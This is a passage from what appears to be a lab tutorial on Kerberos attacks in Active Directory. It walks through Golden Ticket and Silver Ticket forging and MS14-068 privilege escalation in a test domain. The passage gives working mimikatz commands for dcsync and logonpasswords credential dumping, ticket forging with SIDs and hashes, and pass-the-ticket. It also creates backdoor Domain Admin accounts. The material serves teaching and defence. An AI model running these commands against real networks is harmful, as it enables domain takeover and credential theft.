&lt;p&gt;The command &lt;code&gt;dir \\scene.cyberpeace.com\c$&lt;/code&gt; now executes successfully, demonstrating that domain administrator privileges have been obtained.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjkbrf5mn6wabc2xvexb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjkbrf5mn6wabc2xvexb.png" alt=" " width="530" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A new domain administrator account, &lt;code&gt;aaa&lt;/code&gt;, is created:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;net user aaa Qwe123... /add /domain
net group &lt;span class="s2"&gt;"Domain Admins"&lt;/span&gt; aaa /add /domain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Forging a Golden Ticket
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites for forging a Golden Ticket&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Domain name&lt;/li&gt;
&lt;li&gt;Domain SID value&lt;/li&gt;
&lt;li&gt;NTLM hash of the &lt;code&gt;krbtgt&lt;/code&gt; account&lt;/li&gt;
&lt;li&gt;Arbitrary username to be forged&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Logging in as the domain administrator &lt;code&gt;aaa&lt;/code&gt; and executing &lt;code&gt;whoami&lt;/code&gt; confirms the identity.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3raa2yei5ssykds6wvfb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3raa2yei5ssykds6wvfb.png" alt=" " width="220" height="40"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The NTLM hash of &lt;code&gt;krbtgt&lt;/code&gt; is extracted using the following mimikatz commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mimikatz&lt;span class="o"&gt;(&lt;/span&gt;commandline&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c"&gt;# privilege::debug&lt;/span&gt;
mimikatz&lt;span class="o"&gt;(&lt;/span&gt;commandline&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c"&gt;# lsadump::dcsync /domain:cyberpeace.com /all /csv&lt;/span&gt;
mimikatz&lt;span class="o"&gt;(&lt;/span&gt;commandline&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c"&gt;# lsadump::dcsync /domain:cyberpeace.com /user:krbtgt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftj0p56h58vab3coyys8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftj0p56h58vab3coyys8r.png" alt=" " width="590" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The SID of the &lt;code&gt;krbtgt&lt;/code&gt; account is displayed in the output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5937ui5jej3ouknplvh3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5937ui5jej3ouknplvh3.png" alt=" " width="535" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mimikatz is then employed to generate the Golden Ticket and save it as a &lt;code&gt;.kirbi&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mimikatz.exe &lt;span class="s2"&gt;"kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi"&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/admin&lt;/code&gt; : forged username&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/domain&lt;/code&gt; : domain name&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sid&lt;/code&gt; : domain SID (note: the last component after the final hyphen is omitted)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/krbtgt&lt;/code&gt; : NTLM hash of &lt;code&gt;krbtgt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/ticket&lt;/code&gt; : name of the generated ticket file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnefe10t7ap6ooruk9e7l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnefe10t7ap6ooruk9e7l.png" alt=" " width="800" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Using the Golden Ticket (Creating a Domain Admin Account from a Standard Domain Account)
&lt;/h4&gt;

&lt;p&gt;The attacker logs into the domain with an ordinary user account. Using mimikatz, the previously generated &lt;code&gt;ticket.kirbi&lt;/code&gt; is loaded into memory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::purge&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::ptt ticket.kirbi&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkredn349ltvr6jas0md.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkredn349ltvr6jas0md.png" alt=" " width="365" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, an attempt to create a domain administrator account named &lt;code&gt;ccc&lt;/code&gt; succeeds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8u6sfitdwhd6bbcbau19.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8u6sfitdwhd6bbcbau19.png" alt=" " width="642" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Silver Ticket
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Principle
&lt;/h3&gt;

&lt;p&gt;If the Golden Ticket represents a forged TGT, then the Silver Ticket corresponds to a forged Service Ticket (ST). During the third stage of Kerberos authentication, the Client presents the ST together with &lt;code&gt;Authenticator3&lt;/code&gt; to a service hosted on a particular server. The server decrypts the ST using its own Master Key (derived from the service account’s hash) to obtain the Session Key. It then decrypts &lt;code&gt;Authenticator3&lt;/code&gt; with that Session Key to verify the Client’s identity. If verification succeeds, the Client is granted access to the designated service.  &lt;/p&gt;

&lt;p&gt;Thus, if an attacker knows the NTLM hash of the service account associated with the target server, a valid ST can be forged without any communication with the KDC. However, such a forged ticket is functional only for the specific service for which it was crafted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Characteristics
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Does not require interaction with the KDC.&lt;/li&gt;
&lt;li&gt;Requires the NTLM hash of the target service account.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Detailed Procedure
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. Forging Credentials to Escalate Privileges of a Domain User
&lt;/h4&gt;

&lt;p&gt;Again, the attack begins from a local &lt;code&gt;Administrator&lt;/code&gt; account on a domain‑joined host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgwosz5hqezyi0lkafqko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgwosz5hqezyi0lkafqko.png" alt=" " width="252" height="43"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;net config workstation&lt;/code&gt; reveals the domain name as &lt;code&gt;cyberpeace&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxog8l3qubdjyzk3iq55.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxog8l3qubdjyzk3iq55.png" alt=" " width="591" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The domain controller hostname &lt;code&gt;scene&lt;/code&gt; is obtained with &lt;code&gt;nltest /dsgetdc:domain&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8zwg41o4l7y5ccvpxe2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8zwg41o4l7y5ccvpxe2.png" alt=" " width="427" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mimikatz is executed with administrator rights:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;mimikatz&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="s2"&gt;"privilege::debug"&lt;/span&gt; &lt;span class="s2"&gt;"sekurlsa::logonpasswords"&lt;/span&gt; &lt;span class="s2"&gt;"exit"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;log&lt;/span&gt;.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The log file shows a domain user account, &lt;code&gt;Hellen&lt;/code&gt;, with the password &lt;code&gt;Hellen1818&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faezbgtmz4pe0j1aiw77t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faezbgtmz4pe0j1aiw77t.png" alt=" " width="231" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After logging in as &lt;code&gt;Hellen&lt;/code&gt;, &lt;code&gt;whoami&lt;/code&gt; confirms the user context.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0iwiprewrle71spfc8m5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0iwiprewrle71spfc8m5.png" alt=" " width="663" height="143"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The presence of the MS14‑068 vulnerability is verified.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbnarwtykc58pb3nnp3r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbnarwtykc58pb3nnp3r.png" alt=" " width="385" height="57"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Access to the administrative share is initially denied.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1qugmrm1xqo1gx93bn1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1qugmrm1xqo1gx93bn1.png" alt=" " width="366" height="41"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The exploit tool and mimikatz are uploaded, and the user’s SID is retrieved.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fymlbh63by3een5guzmxe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fymlbh63by3een5guzmxe.png" alt=" " width="554" height="99"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A ticket is forged with MS14‑068:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;MS14&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;068&lt;/span&gt;.exe &lt;span class="na"&gt;-u &lt;/span&gt;&lt;span class="kd"&gt;Hellen&lt;/span&gt;@cyberpeace.com &lt;span class="na"&gt;-p &lt;/span&gt;&lt;span class="kd"&gt;Hellen1818&lt;/span&gt; &lt;span class="na"&gt;-s &lt;/span&gt;&lt;span class="kd"&gt;S&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;2718660907&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;658632824&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;2072795563&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;1110&lt;/span&gt; &lt;span class="na"&gt;-d &lt;/span&gt;&lt;span class="kd"&gt;DomainControl&lt;/span&gt;.cyberpeace.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generic syntax is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;ms14&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;068&lt;/span&gt;.exe &lt;span class="na"&gt;-u &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kd"&gt;domain_user&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;@&amp;lt;domain&amp;gt; &lt;span class="na"&gt;-p &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kd"&gt;password&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="na"&gt;-s &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kd"&gt;user_SID&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="na"&gt;-d &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kd"&gt;domain_controller&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside mimikatz, the old tickets are purged and the forged ticket is imported:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::purge&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# kerberos::ptc &amp;lt;path_to_ticket_file&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8g0hmbz2vefi1qkev9mk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8g0hmbz2vefi1qkev9mk.png" alt=" " width="639" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;dir \\scene.cyberpeace.com\c$&lt;/code&gt; now succeeds, indicating domain administrator privileges.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpw4964pc6l8w0c4z88g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpw4964pc6l8w0c4z88g.png" alt=" " width="486" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A domain administrator account &lt;code&gt;ccc&lt;/code&gt; is created:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;net user ccc Qwe1234 /add /domain
net group &lt;span class="s2"&gt;"Domain Admins"&lt;/span&gt; cccc /add /domain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdhuz1c8s0rdu8o4ce7mq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdhuz1c8s0rdu8o4ce7mq.png" alt=" " width="637" height="138"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Forging a Silver Ticket
&lt;/h4&gt;

&lt;p&gt;Logging in as the newly created domain administrator, mimikatz is run with administrator privileges to extract the necessary SID and NTLM hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;mimikatz&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt; &lt;span class="s2"&gt;"privilege::debug"&lt;/span&gt; &lt;span class="s2"&gt;"sekurlsa::logonpasswords"&lt;/span&gt; &lt;span class="s2"&gt;"exit"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="kd"&gt;log&lt;/span&gt;.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5rh08cpw0rfcsasrnko1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5rh08cpw0rfcsasrnko1.png" alt=" " width="595" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The hash and mimikatz are then copied to a local account on a domain‑joined machine. After purging the existing ticket cache, the silver ticket is forged and passed directly into the session using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The general usage pattern is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;kerberos::golden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/domain:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/sid:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;domain_SID&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/target:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;target_server&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/service:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;service_type&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/rc4:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;NTLM_hash&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ptt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;&amp;lt;username&amp;gt;&lt;/code&gt; may be chosen arbitrarily.&lt;/p&gt;

&lt;p&gt;Since no TGT is available to repeatedly request tickets, the attacker must target a specific service. The service type can be selected from the list below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72p168t65c598tn7k30b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72p168t65c598tn7k30b.png" alt=" " width="623" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpmweggbpsr7rdbwt5dia.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpmweggbpsr7rdbwt5dia.png" alt=" " width="637" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;dir \\scene.cyberpeace.com\c$&lt;/code&gt; executes successfully, and a domain administrator account can be created.&lt;/p&gt;

